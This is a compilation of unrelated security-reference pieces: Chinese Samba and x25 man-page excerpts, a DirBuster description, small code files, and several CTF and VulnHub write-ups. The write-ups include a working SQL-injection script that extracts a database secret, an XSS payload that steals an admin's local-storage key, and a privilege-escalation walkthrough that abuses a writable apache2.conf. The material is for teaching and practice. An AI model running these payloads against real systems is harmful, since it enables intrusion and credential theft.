需要明白这个选项的很重要的一个特点: 在Samba删除一个目录时的行为。如果一个目录除了veto files之外不包含任何内容,删除操作将\fB失败\fR,除非设置了\fIdelete veto files\fR 是\fIyes\fR.
设置此选项会影响Samba的性能,因为它将强制在扫描所有文件和目录时检查是否匹配.
参见 \fIhide files \fR 和 \fI case sensitive\fR.
缺省设置: \fB没有隐藏任何文件. \fR
示例:
.nf
; 隐藏任何文件名带有'Security'的文件,
; 任何扩展名是.tmp的文件,任何文件名带有'root'的文件
veto files = /*Security*/*\&.tmp/*root*/
; 隐藏NetAtalk服务器创建的Apple专用的文件
veto files = /\&.AppleDouble/\&.bin/\&.AppleDesktop/Network Trash Folder/
.fi
.TP
veto oplock files (S)
此选项只在对一个共享打开了\fIoplocks\fR选项时才有效.它允许Samba管理员在所选文件上选择性地关闭允许oplocks,这些文件可以用通配符列表来匹配,类拟于在\fIveto files\fR 选项中所用的通配符列表.
缺省设置: \fB没有隐藏oplocks许可\fR
你可能想在已知客户会猛烈争夺的文件上使用此项.在NetBench SMB基准程序下面就是个好例子,它导致客户猛烈地对以\fI.SEM\fR后缀的文件进行连接.为使Samba不在这些文件上允许oplocks,你可以在[global]段或特定的NetBench共享中使用此行:
示例: \fBveto oplock files = /*.SEM/\fR
.TP
vfs object (S)
与 \fIvfs objects\fR 同义.
.TP
vfs objects (S)
This parameter specifies the backend names which are used for Samba VFS I/O operations\&. By default, normal disk I/O operations are used but these can be overloaded with one or more VFS objects\&.
缺省设置: \fBno value\fR
示例: \fBvfs objects = extd_audit recycle\fR
.TP
volume (S)
此选项允许你忽略共享项提供的卷标.这对于那些坚持要使用一个特殊卷标的安装程序光盘来说很有用.缺省就是共享项的卷标.
缺省设置: \fB共享的名称\fR
.TP
wide links (S)
此选项控制服务器是否跟踪UNIX文件系统中的符号链接.指向服务器导出的目录树的链接总是被允许的;此选项只是控制对导出目录树以外的区域的访问情况.
注意设置此选项可对服务器性能产生负面影响,因为samba必须做一些额外的系统调用以检查那些链接.
缺省设置: \fBwide links = yes\fR
.TP
winbind cache time (G)
This parameter specifies the number of seconds the \fBwinbindd\fR(8) daemon will cache user and group information before querying a Windows NT server again\&.
缺省设置: \fBwinbind cache type = 300\fR
.TP
winbind enable local accounts (G)
This parameter controls whether or not winbindd will act as a stand in replacement for the various account management hooks in smb\&.conf (e\&.g\&. 'add user script')\&. If enabled, winbindd will support the creation of local users and groups as another source of UNIX account information available via getpwnam() or getgrgid(), etc\&.\&.\&.
缺省设置: \fBwinbind enable local accounts = yes\fR
.TP
winbind enum groups (G)
On large installations using \fBwinbindd\fR(8) it may be necessary to suppress the enumeration of groups through the \fBsetgrent()\fR, \fBgetgrent()\fR and \fBendgrent()\fR group of system calls\&. If the \fIwinbind enum groups\fR parameter is \fBno\fR, calls to the \fBgetgrent()\fR system call will not return any data\&.
\fBWarning:\fR Turning off group enumeration may cause some programs to behave oddly\&.
缺省设置: \fBwinbind enum groups = yes \fR
.TP
winbind enum users (G)
On large installations using \fBwinbindd\fR(8) it may be necessary to suppress the enumeration of users through the \fBsetpwent()\fR, \fBgetpwent()\fR and \fBendpwent()\fR group of system calls\&. If the \fIwinbind enum users\fR parameter is \fBno\fR, calls to the \fBgetpwent\fR system call will not return any data\&.
\fBWarning:\fR Turning off user enumeration may cause some programs to behave oddly\&. For example, the finger program relies on having access to the full user list when searching for matching usernames\&.
缺省设置: \fBwinbind enum users = yes \fR
.TP
winbind gid (G)
This parameter is now an alias for \fBidmap gid\fR
The winbind gid parameter specifies the range of group ids that are allocated by the \fBwinbindd\fR(8) daemon\&. This range of group ids should have no existing local or NIS groups within it as strange conflicts can occur otherwise\&.
缺省设置: \fBwinbind gid = <空字符串>\fR
示例: \fBwinbind gid = 10000-20000\fR
.TP
winbind separator (G)
This parameter allows an admin to define the character used when listing a username of the form of \fIDOMAIN \fR\\\fIuser\fR\&. This parameter is only applicable when using the \fIpam_winbind\&.so\fR and \fInss_winbind\&.so\fR modules for UNIX services\&.
Please note that setting this parameter to + causes problems with group membership at least on glibc systems, as the character + is used as a special character for NIS in /etc/group\&.
缺省设置: \fBwinbind separator = '\'\fR
示例: \fBwinbind separator = +\fR
.TP
winbind trusted domains only (G)
This parameter is designed to allow Samba servers that are members of a Samba controlled domain to use UNIX accounts distributed vi NIS, rsync, or LDAP as the uid's for winbindd users in the hosts primary domain\&. Therefore, the user 'SAMBA\\user1' would be mapped to the account 'user1' in /etc/passwd instead of allocating a new uid for him or her\&.
缺省设置: \fBwinbind trusted domains only = <no>\fR
.TP
winbind uid (G)
This parameter is now an alias for \fBidmap uid\fR
The winbind gid parameter specifies the range of user ids that are allocated by the \fBwinbindd\fR(8) daemon\&. This range of ids should have no existing local or NIS users within it as strange conflicts can occur otherwise\&.
缺省设置: \fBwinbind uid = <空字符串>\fR
示例: \fBwinbind uid = 10000-20000\fR
.TP
winbind use default domain (G)
This parameter specifies whether the \fBwinbindd\fR(8) daemon should operate on users without domain component in their username\&. Users without a domain component are treated as is part of the winbindd server's own domain\&. While this does not benifit Windows users, it makes SSH, FTP and e-mail function in a way much closer to the way they would in a native unix system\&.
缺省设置: \fBwinbind use default domain = <no>\fR
示例: \fBwinbind use default domain = yes\fR
.TP
wins hook (G)
当把Samba作为一台WINS服务器运行时,此选项允许你调用一个外部程序更改WINS数据库.此项主要用于动态更新外部名字解析数据库,如动态DNS.
此选项以如下形式指定要调用的一个脚本名或可执行程序:
\fBwins_hook operation name nametype ttl IP_list\fR
第一部分参数是opration(操作符),它有三种:"add"、"delete"和"refresh".在很多情况下该操作符可以忽略,因为其它选项可提供足够的信息.注意当有名称以前没有加入过,则有时会用到"refresh",在这种情况下,它应该和"add"有同样含义.
第二部分参数是netbios名.如果该名称不是合法名的话,该功能就不运行.合法的名称应只包含字母,数字,减号,下划线和句点.
第三部分参数是用2位十六进制数字表示的netbios名称类型.
第四部分参数是以秒计算的名称有效时间TTL (time to live).
第五部分是当前该名称所注册的IP地址表.如果表为空则该名称被删除.
一个调用BIND动态DNS更新程序\fBnsupdate\fR的脚本示例在samba源代码的示例目录可以找到.
.TP
wins partners (G)
A space separated list of partners' IP addresses for WINS replication\&. WINS partners are always defined as push/pull partners as defining only one way WINS replication is unreliable\&. WINS replication is currently experimental and unreliable between samba servers\&.
缺省设置: \fBwins partners = \fR
示例: \fBwins partners = 192.168.0.1 172.16.1.2\fR
.TP
wins proxy (G)
此布尔量选项控制\fBnmbd\fR(8) 是否代替其它主机响应广播名字查询.对一些旧版本客户就可能需要把它设为\fByes\fR .
缺省设置: \fBwins proxy = no\fR
.TP
wins server (G)
此选项指定nmbd要注册的WINS服务器的IP地址(或DNS域名:IP地址优先(for preference)).如果在你的网络上有一台WINS服务器,就应该把此项设为该服务器的IP地址.
如果你有多个子网的话,应该指定向你的WINS服务器
If you want to work in multiple namespaces, you can give every wins server a 'tag'. For each tag, only one (working) server will be queried for a name. The tag should be seperated from the ip address by a colon.
注意,如有多子网并希望跨子网浏览工作正常的话,应该设置Samba指向一台WINS服务器.
缺省设置: \fB未启用\fR
示例: \fBwins server = mary:192.9.200.1 fred:192.168.3.199 mary:192.168.2.61\fR
For this example when querying a certain name, 192.19.200.1 will be asked first and if that doesn't respond 192.168.2.61 . If either of those doesn't know the name 192.168.3.199 will be queried.
示例: \fBwins server = 192.9.200.1 192.168.2.61\fR
.TP
wins support (G)
此布尔量选项控制\fBnmbd\fR(8)进程是否作为WINS服务器.你不应该把它设为\fByes\fR,除非有多子网或希望特定的\fBnmbd\fR作为你的WINS服务器.注意在网络上有多台WINS服务器时\fB不\fR应把它设为\fByes\fR.
缺省设置: \fBwins support = no\fR
.TP
workgroup (G)
此选项规定Samba所在的工作组以便让客户查询.注意它也规定在使用\fBsecurity = domain\fR时所用的域名.
缺省设置: \fB编译时设置为 WORKGROUP\fR
示例: \fBworkgroup = MYGROUP\fR
.TP
writable (S)
与 \fI writeable\fR 相同,是为拼写错误者准备的 :-)
.TP
writeable (S)
注意它与 \fIread only\fR 反义.
.TP
write cache size (S)
If this integer parameter is set to non-zero value, Samba will create an in-memory cache for each oplocked file (it does \fBnot\fR do this for non-oplocked files)\&. All writes that the client does not request to be flushed directly to disk will be stored in this cache if possible\&. The cache is flushed onto disk when a write comes in whose offset would not fit into the cache or when the file is closed by the client\&. Reads for the file are also served from this cache if the data is stored within it\&.
This cache allows Samba to batch client writes into a more efficient write size for RAID disks (i\&.e\&. writes may be tuned to be the RAID stripe size) and can improve performance on systems where the disk subsystem is a bottleneck but there is free memory for userspace programs\&.
The integer parameter specifies the size of this cache (per oplocked file) in bytes\&.
缺省设置: \fBwrite cache size = 0\fR
示例: \fBwrite cache size = 262144\fR
for a 256k cache size per file\&.
.TP
write list (S)
此选项设置对服务项有读写权的用户列表.如果正在连接的用户属于此列表,那他们就可以有写入权,而不管\fIread only\fR为何值.此列表可以用@group形式描述组名.
注意如果一个用户同时属于读列表和写列表则拥有写入权.
参见 \fIread list \fR 选项。
缺省设置: \fBwrite list = <空字符串>\fR
示例: \fBwrite list = admin, root, @staff\fR
.TP
write ok (S)
注意它与 \fIread only\fR 反义.
.TP
write raw (G)
此选项规定服务器是否在从客户端传输数据时支持原始方式写SMB消息块.你不应该更改它.
缺省设置: \fBwrite raw = yes\fR
.TP
wtmp directory (G)
This parameter is only available if Samba has been configured and compiled with the option \fB --with-utmp\fR\&. It specifies a directory pathname that is used to store the wtmp or wtmpx files (depending on the UNIX system) that record user connections to a Samba server\&. The difference with the utmp directory is the fact that user info is kept after a user has logged out\&.
参见 \fIutmp\fR 选项。 By default this is not set, meaning the system will use whatever utmp file the native system is set to use (usually \fI/var/run/wtmp\fR on Linux)\&.
缺省设置: \fBno wtmp directory\fR
示例: \fBwtmp directory = /var/log/wtmp\fR
.SH "警告 WARNINGS"
.PP
虽然配置文件允许服务项名包含空格,但你的客户端软件就不一定了.因为在比较中总是忽略空格,所以这不成问题 - 但应该认识到其它可能性.
.PP
有一条类似提示,很多客户特别是DOS客户,会限制服务项名为8个字符.虽然 \fBsmbd\fR(8)没有这样的限制,但如果这样的客户截去部分服务项名的话,他们的连接尝试会失败.为此你可能要保持你的服务项名在8个字符以内.
.PP
对于管理员来说[homes] 和 [printers]特殊段的使用很容易,但对缺省属性的多样组合应该小心.当设计这些段时要特别仔细.特别是要确保假脱机目录权限的正确性.
.SH "版本 VERSION"
.PP
此手册页是针对samba套件版本3.0的。
.SH "参见 SEE ALSO"
.PP
\fBsamba\fR(7), \fBsmbpasswd\fR(8), \fBswat\fR(8), \fBsmbd\fR(8), \fBnmbd\fR(8), \fBsmbclient\fR(1), \fBnmblookup\fR(1), \fBtestparm\fR(1), \fBtestprns\fR(1).
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# DB Secret
Web
## Description:
> To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server.
## Solution:
This is a "Wee" challenge - see basic explanation [here](./Wee/).
Searching for this DB_SECRET, we find the following piece of code in the server:
```python
def init_db():
with app.app_context():
db = get_db()
with open(MIGRATION_PATH, "r") as f:
db.cursor().executescript(f.read())
db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)")
db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,))
db.commit()
```
It looks like we are looking for an SQL-injection vulnerability.
Scanning the code to search for such a vulnerability, we find:
```python
@app.route("/api/getprojectsadmin", methods=["POST"])
def getprojectsadmin():
# ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
# ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
name = request.cookies["name"]
token = request.cookies["token"]
user, username, email, usertype = user_by_token(token)
json = request.get_json(force=True)
offset = json["offset"]
sorting = json["sorting"]
if name != "admin":
raise Exception("InvalidUserName")
sortings = {
"newest": "created DESC",
"oldest": "created ASC",
"lastmodified": "lastModified DESC"
}
sql_sorting = sortings[sorting]
if not offset:
offset = datetime.datetime.now()
return jsonify_projects(query_db(
"SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
"ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")
```
Since we are already [logged in as admins](Logged_In.md), we can use this entry point and provide a specially crafted `offset` in order to perform the injection.
The code:
```python
import requests
cookie = {"name": "admin", "token": "vsfrhvlixgcakewqactbyotkdsrhjehq"}
r = requests.post('http://35.207.132.47/api/getprojectsadmin', json={"offset": "' union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --", "sorting": "newest"}, cookies = cookie)
print(r.text)
```
This will produce the following query:
```sql
SELECT code, userName, title, public, type, lastModified, created, content
FROM projects
WHERE created < ''
union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --'ORDER BY {} LIMIT 10
```
The response:
```
[{"code":"35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???","content":1,"created":1,"lastModified":1,"public":1,"title":1,"type":1,"userName":1}]
```
The flag: 35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???
|
sec-knowleage
|
# CBPM (web 300)
###ENG
[PL](#pl-version)
We get access to cloud-based password storage.
It stores encrypted passwords on the webpage, but the decryption key is present only on the client.
It is true - we check the local storage and there is a `KEY` entry:

We also notice that there is a cookie `LOGGED_IN_USER` with our username.
We verify and apparently we can change it to anyone else, `admin` included.
`admin` user has an encrypted password called `flag`, but in order to decrypt it we would need admins `KEY` value from local storage.
There is a complaint form we can send to the admin, so we tried some standard XSS on this and it didn't work.
The task description says that admin is using strong firewall, so we assumed that maybe admin can't reach anywhere outside.
But he should still be able to invoke local actions inside the system.
So we checked what kind of request is sent when we add new encrypted password in the system, and we prepared payload to add new encrypted password with `KEY` form local storage as label:
```
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/put.php");
xmlhttp.setRequestHeader("Content-Type", "application/json");
xmlhttp.send(JSON.stringify({"id":"eyJ0ZWFtaWQiOiI3NTUifS4xY0lSS1QuQ0dsWklub3B6ajg4T0k2VjVObVQwLVQ0aVg4","prelabel":"","newlabel":localStorage.getItem('KEY'),"encpass":"1e4f3be4abf38a8b6650312361d2c9cc","iv":"e8831d7a2e67c5aa0012c6af3c064a2d"}));
</script>
```
And it worked!
After submitting this complaint form, there was a new password added to admins storage with name `VnlRV2RNWVNESzJSYmI1cWhNQ2ZXb2hqeGtINUk2Nkg=`.
Now we could just put this into our local storage as `KEY` and decode the flag:
`SharifCTF{eyJ0IjoiNzU1In0uQ3plSXN3Lkh6N21ZNGFmd0ZTMVNWMUJ1bmw2dlhqLVVxMA==}`
###PL version
Dostajemy dostęp do serwisu przechowującego hasła w chmurze.
Serwis twierdzi przechowuje jedynie zaszyfrowane wersje haseł, a klucz deszyfrujący znajduje się jedynie u klienta.
Faktycznie wygląda, że jest to prawda bo w local storage pojawił nam się `KEY`:

Zauważmy także że jest cookie `LOGGED_IN_USER` z naszym loginem.
Okazuje się, że możemy zmienić tą wartość na dowolną inną, w tym na `admin`.
`admin` ma w swoim zbiorze przechowywanych haseł takie o nazwie `flag`, ale żeby je odczytać musielibyśmy poznać `KEY` z local storage admina.
W serwisie jest formularz skarg który można wysłać adminowi, więc najpierw próbowaliśmy standardowych XSSów, ale bez efektów.
W opisie zadania była informacja że admin używa mocnego firewalla, więc uznaliśmy, że admin może nie mieć wyjścia na zewnątrz.
Mimo wszystko powinien móc wykonywać akcje wewnątrz systemu.
Sprawdziliśmy więc jakie requesty są wysyłane, żeby dodać nowe hasło przechowalni w systemie i przygotowalimy payload XSS tak żeby admin dodał sobie nowe hasło z wartością `KEY` z local storage jako nazwą:
```
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/put.php");
xmlhttp.setRequestHeader("Content-Type", "application/json");
xmlhttp.send(JSON.stringify({"id":"eyJ0ZWFtaWQiOiI3NTUifS4xY0lSS1QuQ0dsWklub3B6ajg4T0k2VjVObVQwLVQ0aVg4","prelabel":"","newlabel":localStorage.getItem('KEY'),"encpass":"1e4f3be4abf38a8b6650312361d2c9cc","iv":"e8831d7a2e67c5aa0012c6af3c064a2d"}));
</script>
```
I zadziałało!
Po wysłaniu formularza skargi z tym kodem, u admina pojawiło się nowe hasło o nazwie: `VnlRV2RNWVNESzJSYmI1cWhNQ2ZXb2hqeGtINUk2Nkg=`.
Mogliśmy teraz podmienić nasze lokalne `KEY` na hasło admina w local storage i zdekodować flagę:
`SharifCTF{eyJ0IjoiNzU1In0uQ3plSXN3Lkh6N21ZNGFmd0ZTMVNWMUJ1bmw2dlhqLVVxMA==}`
|
sec-knowleage
|
# RrEeGgEeXx (re 75)
###ENG
[PL](#pl-version)
In the task we got a [binary](RegexAuth.exe) written in C#.
Again as with the F# binary in RE50, we can simply decompile the code with ILSpy.
Most of it is not important - the only important bit is flag verification:
```csharp
Program.check_regex("^.{40}$", input)
&& Program.check_regex("\\w{3}\\{.*\\}", input)
&& Program.check_regex("_s.*e_", input)
&& Program.check_regex("\\{o{2}O{2}o{2}", input)
&& Program.check_regex("O{2}o{2}O{2}\\}", input)
&& Program.check_regex("sup3r_r3g3x_challenge", input)
```
It's quite clear that the flag has to match all expressions:
1. Flag has to have exactly 40 characters
2. Flag contains 3 random letters then `{` any number of random characters and `}` -> this is flag format so `EKO{xx}`
3. Flag has to contain `_s` then any number of random characters and then `e_`
4. Flag has to contain `{ooOOoo` -> we can combine this with flag start
5. Flag has to contain `OOooOO}` -> we can combine this with flag end
6. Flag has to contain `sup3r_r3g3x_challenge` -> we can combine this with 3.
This quite easily gives us: `EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}`
###PL version
W zadaniu dostajemy [aplikacje](RegexAuth.exe) napisaną w C#.
Podobnie jak w zadaniu z F# RE50, możemy zdekompilować kod za pomocą ILSpy.
Większość kodu nie jest istotna - jedyny ważny fragment to weryfikacja flagi:
```csharp
Program.check_regex("^.{40}$", input)
&& Program.check_regex("\\w{3}\\{.*\\}", input)
&& Program.check_regex("_s.*e_", input)
&& Program.check_regex("\\{o{2}O{2}o{2}", input)
&& Program.check_regex("O{2}o{2}O{2}\\}", input)
&& Program.check_regex("sup3r_r3g3x_challenge", input)
```
Jak nie trudno zauważyć flaga musi spełniać wszystkie parametry:
1. Flaga ma dokładnie 40 znaków
2. Flaga zawiera 3 losowe litery, następnie `{`, dowolną liczbę znaków i na koniec `}` -> to jest format flagi więc `EKO{xx}`
3. Flaga musi zawierać `_s` następnie dowolną liczbę znaków i potem `e_`
4. Flaga musi zawierać `{ooOOoo` -> możemy połączyć to z początkiem flagi
5. Flaga musi zawierać `OOooOO}` -> możemy połączyć to z końcem flagi
6. Flaga musi zawierać `sup3r_r3g3x_challenge` -> możemy połączyć to z 3
To dość prosto daje nam: `EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}`
|
sec-knowleage
|
version: '2'
services:
coldfusion:
image: vulhub/coldfusion:8.0.1
ports:
- "8500:8500"
|
sec-knowleage
|
from django.db import models
from django.contrib.postgres.fields import JSONField
class Collection(models.Model):
name = models.CharField(max_length=128)
detail = JSONField()
def __str__(self):
return self.name
|
sec-knowleage
|
.\" This man page is Copyright (C) 1998 Heiner Eisen.
.\" Permission is granted to distribute possibly modified copies
.\" of this page provided the header is included verbatim,
.\" and in case of nontrivial modification author and date
.\" of the modification is added to the header.
.TH X25 7 "1 Dec 1998" "Linux Man Page" "Linux Programmer's Manual"
.SH NAME
x25, PF_X25 \- ITU-T X.25 / ISO-8208 协议接口。
.SH 总览
.B #include <sys/socket.h>
.br
.B #include <linux/x25.h>
.br
x25_socket = socket(PF_X25, SOCK_SEQPACKET, 0);
.SH 描述
X25 sockets 为 X.25 数据包层协议(packet layer protocol)提供接口。
这令应用程序可以使用标准的 ITU X.25 建议
(X.25 DTE-DCE 模式)在公共 X.25 数据网中进行通讯。
X25 socket 也可以在没有在 ISO-8208中描述的那样的
X.25 中介(X.25 DTE-DCE 模式)的网络进行通讯.
.PP
信息分界的保持 - 对 socket 进行
.BR read(2)
得到的数据块与对端 socket 对应
.BR write(2)
动作输出的数据块是完全一样的.
如果必要,内核负责处理信息片段和重组长信息,
用的是 X.25 M-bit 方法(校注:请懂 x.25 的同志指正)。
对信息大小没有硬编码的上限。
但是重组长信息有时会失败
(比如系统资源暂时匮乏,或是出现其他的诸如此类的限制时)。
如果出现这种情况,X.25 连接将被重置。
.SH 套接口地址 SOCKET ADDRESS
AF_X25 socket 地址族用 struct sockaddr_x25 代表
ITU-T X.121 规范中定义的网络地址。
.PP
.RS
.nf
.ta 4n 18n 32n
struct sockaddr_x25 {
sa_family_t sx25_family; /* 必须是 AF_X25 */
x25_address sx25_addr; /* X.121 地址 */
};
.ta
.fi
.RE
.PP
.I sx25_addr
包含一个空零结尾的字符串
.I x25_addr[]
。
.I sx25_addr.x25_addr[]
由最多 15 个 ASCII 字符(不包括结束的 0)构成 X.121 地址。
只能使用数字 `0' 到 `9' 。
.SH 套接字选项 SOCKET OPTIONS
以下 X.25 相关的套接字选项
可以在级别参数设置为
.BR SOL_X25
时用
.BR setsockopt(2)
设定并可用
.BR getsockopt(2)
读取。
.TP
.B X25_QBITINCL
控制用户是否能够访问 X.25 Q-bit
((资格数据位)Qualified Data Bit)。
接受整型参数。 如果设为 0 (缺省),
那么传出的数据包不设置 Q-bit 传入的数据包中的 Q-bit 被忽略。
如果设为 1, 就会在通过该套接字传入传出的信息中附加一个前置的首字节。
对于从套接字中数据, 首位字节的 0
表示对应的读入包未设置 Q-bit;而如果是 1 则相反。
如果通过套接字写入(传出)的数据中首位字节为 1 则传出包设置 Q-bit ,
如果是 0 则不设置 Q-bit。
.SH 缺憾
有很多, 比如 X.25 PLP 实现
.BR CONFIG_EXPERIMENTAL. (译注:内核编译选项,尚处于试验阶段)。
.PP
本手册页也不完善。
.PP
还没有给程序员用的头文件;您需要包含内核头文件
.BR linux/x25.h
.B CONFIG_EXPERIMENTAL
也暗示着未来的接口版本可能在二进制级别不兼容。
.PP
X.25 N-重置事件(Reset events)还不会传播给用户进程。
因此,如果重置,可能会发生数据丢失而得不到任何提示。
.SH 另见
.BR socket(7),
.BR socket(2).
.PP
Jonathan Simon Naylor:
\(lqThe Re-Analysis and Re-Implementation of X.25.\(rq
The URL is
.I ftp://ftp.pspt.fi/pub/ham/linux/ax25/x25doc.tgz
.SH 版本
PF_X25 协议族是 Linux 2.2 的新特性.
.SH "[中文版维护人]"
.B RedCandle <redcandle51@chinaren.com>
.SH "[中文版最新更新]"
.B 2000/10/26
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# DirBuster软件包描述
DirBuster是一个用来在web/应用服务器上爆破目录与文件的多线程Java应用程序。通常情况下,某些web服务器看上去是处于默认设置的状态,然而实际上有一些页面和应用是被隐藏于其中的。DirBuster的作用就是尝试去发现这些隐藏的内容。然而,这种性质的爆破工具经常受制于目录与文件的字典大小。因此,DirBuster提出了一种新的方法来尝试解决这个问题:可以从网上抓取下来的目录与文件信息(其实际上被开发者所使用)从头生成字典!DirBuster自带了整整9个不同的字典文件,使得其在寻找隐藏的目录和文件上有着很棒的效率。如果这样还不能满足你,那么DirBuster还提供了纯爆破(pure brute force)的选项,让那些隐藏的目录和文件无处遁形。
资料来源:https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
[DirBuster首页](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) | [Kali DirBuster仓库](https://gitlab.com/kalilinux/packages/dirbuster)
- 作者:Whitel
- 许可证:商业
## DirBuster包中的工具
### dirbuster - web服务器目录爆破工具
DirBuster应用程序
## DirBuster用法示例
```
root@kali:~# dirbuster
```

|
sec-knowleage
|
# digitalworld.local: TORMENT
> https://download.vulnhub.com/digitalworld/TORMENT.7z
靶场IP:`192.168.32.199`
扫描对外服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.199
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 21:59 EDT
Nmap scan report for 192.168.32.199
Host is up (0.00048s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
2049/tcp open nfs_acl 3 (RPC #100227)
6667/tcp open irc ngircd
6668/tcp open irc ngircd
6669/tcp open irc ngircd
6672/tcp open irc ngircd
6674/tcp open irc ngircd
32971/tcp open mountd 1-3 (RPC #100005)
34959/tcp open nlockmgr 1-4 (RPC #100021)
42269/tcp open mountd 1-3 (RPC #100005)
49805/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:D6:A8:67 (VMware)
Service Info: Hosts: TORMENT.localdomain, TORMENT, irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.60 seconds
```
FTP有匿名登录。

服务器上有很多文件和隐藏目录。我下载了所有文件并一一检查。我们有`id_rsa`in`.ssh`和`channels`in`.ngircd`目录。



我使用了 `smbmap` 和 `enum4linux` 但这里没有什么有趣的。
```
┌──(root💀kali)-[~/Desktop]
└─# smbmap -H 192.168.32.199
[+] Guest session IP: 192.168.32.199:445 Name: 192.168.32.199
```
```
┌──(root💀kali)-[~/Desktop]
└─# enum4linux 192.168.32.199
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Sep 4 22:10:54 2022
==========================
| Target Information |
==========================
Target ........... 192.168.32.199
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
======================================================
| Enumerating Workgroup/Domain on 192.168.32.199 |
======================================================
[+] Got domain/workgroup name: WORKGROUP
==============================================
| Nbtstat Information for 192.168.32.199 |
==============================================
Looking up status of 192.168.32.199
TORMENT <00> - B <ACTIVE> Workstation Service
TORMENT <03> - B <ACTIVE> Messenger Service
TORMENT <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=======================================
| Session Check on 192.168.32.199 |
=======================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```
我们可以使用浏览器访问端口 631。在`/printers`选项卡中,在队列名称下,我们将获得一些可能是潜在用户名的名称。

```
albert
cherrlt
david
edmund
ethan
eva
genevieve
govindasamy
jessica
kenny
patrick
qinyi
qiu
roland
sara
```
为了找出有效用户,我使用了 metasploit `smtp`module( `auxiliary/scanner/smtp/smtp_enum`) 并得到了两个有效用户。
```
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set rhosts 192.168.32.199
rhosts => 192.168.32.199
msf6 auxiliary(scanner/smtp/smtp_enum) > set user_file /tmp/user
user_file => /tmp/user
msf6 auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.32.199:25 - 192.168.32.199:25 Banner: 220 TORMENT.localdomain ESMTP Postfix (Debian/GNU)
[+] 192.168.32.199:25 - 192.168.32.199:25 Users found: patrick, qiu
[*] 192.168.32.199:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
找到用户后,我尝试暴力破解 ssh、ftp、http 但没有运气。所以我专注于 Ngircd 聊天服务。我使用 hexchat 来访问它。

我们需要密码才能登录。于是我在网上搜索了ngircd配置文件,得到了一个默认密码。
```
wealllikedebian
```

现在使用密码连接到服务器。

我使用频道名称连接到我们在 FTP 侦察期间找到的服务器。
```
/join #tormentedprinter
```
我使用上述命令连接到`tormentedprinter`频道并找到密码。

```
mostmachineshaveasupersecurekeyandalongpassphrase
```
使用`tormentedprinter`通道中的 SSH 密钥和密码,我们可以登录 ssh。

我发现`apache2.conf`所有用户都有读、写和执行权限。
```
patrick@TORMENT:~$ find /etc -type f -writable 2>/dev/null
/etc/apache2/apache2.conf
```
使用`apache2.conf`file 我们可以以 qiu 用户身份启动 shell。
1. 添加用户 qiu 和 qiu 组`/etc/apache2/apache2.conf`。

2. `/var/www/html`在文件夹中上传php反向。

重启系统
```
sudo /bin/systemctl reboot
```
